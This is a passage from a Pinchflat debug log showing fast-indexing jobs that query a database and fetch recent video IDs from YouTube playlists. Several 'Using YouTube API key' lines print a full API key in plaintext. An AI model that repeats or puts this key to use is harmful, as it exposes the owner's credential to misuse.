m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 17:27:43.160 [debug] QUERY OK source="tasks" db=0.1ms idle=93.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800225, 8, ~U[2026-02-10 23:27:43Z], ~U[2026-02-10 23:27:43Z]] 17:27:43.160 [info] {"args":{"id":8},"id":3800186,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":274579,"event":"job:stop","queue_time":443610,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:47.891 [info] {"args":{"id":40},"id":3800187,"meta":{},"system_time":1770766067891766280,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:47.892 [debug] QUERY OK source="sources" db=0.2ms idle=1013.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 17:27:47.892 [debug] QUERY OK source="settings" db=0.1ms idle=1013.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:47.892 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:47.892 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:47.892 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 17:27:47.892 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:47.892 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:48.442 [debug] QUERY OK source="media_items" db=0.7ms idle=549.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 17:27:48.445 [debug] QUERY OK source="media_items" db=2.2ms idle=550.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 17:27:48.446 [debug] QUERY OK source="tasks" db=0.1ms idle=553.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800226, 40, ~U[2026-02-10 23:27:48Z], ~U[2026-02-10 23:27:48Z]] 17:27:48.446 [info] {"args":{"id":40},"id":3800187,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":554504,"event":"job:stop","queue_time":566292,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:48.892 [info] {"args":{"id":2},"id":3800188,"meta":{},"system_time":1770766068892735067,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:48.893 [debug] QUERY OK source="sources" db=0.1ms idle=446.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:27:48.893 [debug] QUERY OK source="settings" db=0.2ms idle=446.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:48.893 [debug] QUERY OK source="media_profiles" db=0.1ms idle=440.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:48.893 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:48.893 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 17:27:48.894 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:48.894 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:48.991 [debug] QUERY OK source="media_items" db=0.5ms idle=97.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 17:27:48.994 [debug] QUERY OK source="media_items" db=2.1ms idle=98.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:27:48.994 [debug] QUERY OK source="tasks" db=0.1ms idle=100.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800227, 2, ~U[2026-02-10 23:27:48Z], ~U[2026-02-10 23:27:48Z]] 17:27:48.995 [info] {"args":{"id":2},"id":3800188,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102189,"event":"job:stop","queue_time":504091,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:50.895 [info] {"args":{"id":38},"id":3800189,"meta":{},"system_time":1770766070895801786,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:50.896 [debug] QUERY OK source="sources" db=0.2ms idle=17.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 17:27:50.896 [debug] QUERY OK source="settings" db=0.2ms idle=18.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:50.897 [debug] QUERY OK source="media_profiles" db=0.2ms idle=18.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:50.897 [debug] QUERY OK source="settings" db=0.0ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:50.897 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 17:27:50.897 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:50.897 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:51.037 [debug] QUERY OK source="media_items" db=0.5ms idle=140.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 17:27:51.039 [debug] QUERY OK source="media_items" db=1.5ms idle=141.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 17:27:51.040 [debug] QUERY OK source="tasks" db=0.1ms idle=142.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800228, 38, ~U[2026-02-10 23:27:51Z], ~U[2026-02-10 23:27:51Z]] 17:27:51.040 [info] {"args":{"id":38},"id":3800189,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":144436,"event":"job:stop","queue_time":393376,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:52.897 [info] {"args":{"id":41},"id":3800190,"meta":{},"system_time":1770766072897723709,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:52.898 [debug] QUERY OK source="sources" db=0.1ms idle=19.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 17:27:52.898 [debug] QUERY OK source="settings" db=0.0ms idle=19.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:52.898 [debug] QUERY OK source="media_profiles" db=0.0ms idle=19.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:52.898 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:52.898 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 17:27:52.898 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:52.898 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:53.003 [debug] QUERY OK source="media_items" db=0.6ms idle=104.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 17:27:53.004 [debug] QUERY OK source="media_items" db=0.6ms idle=105.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", 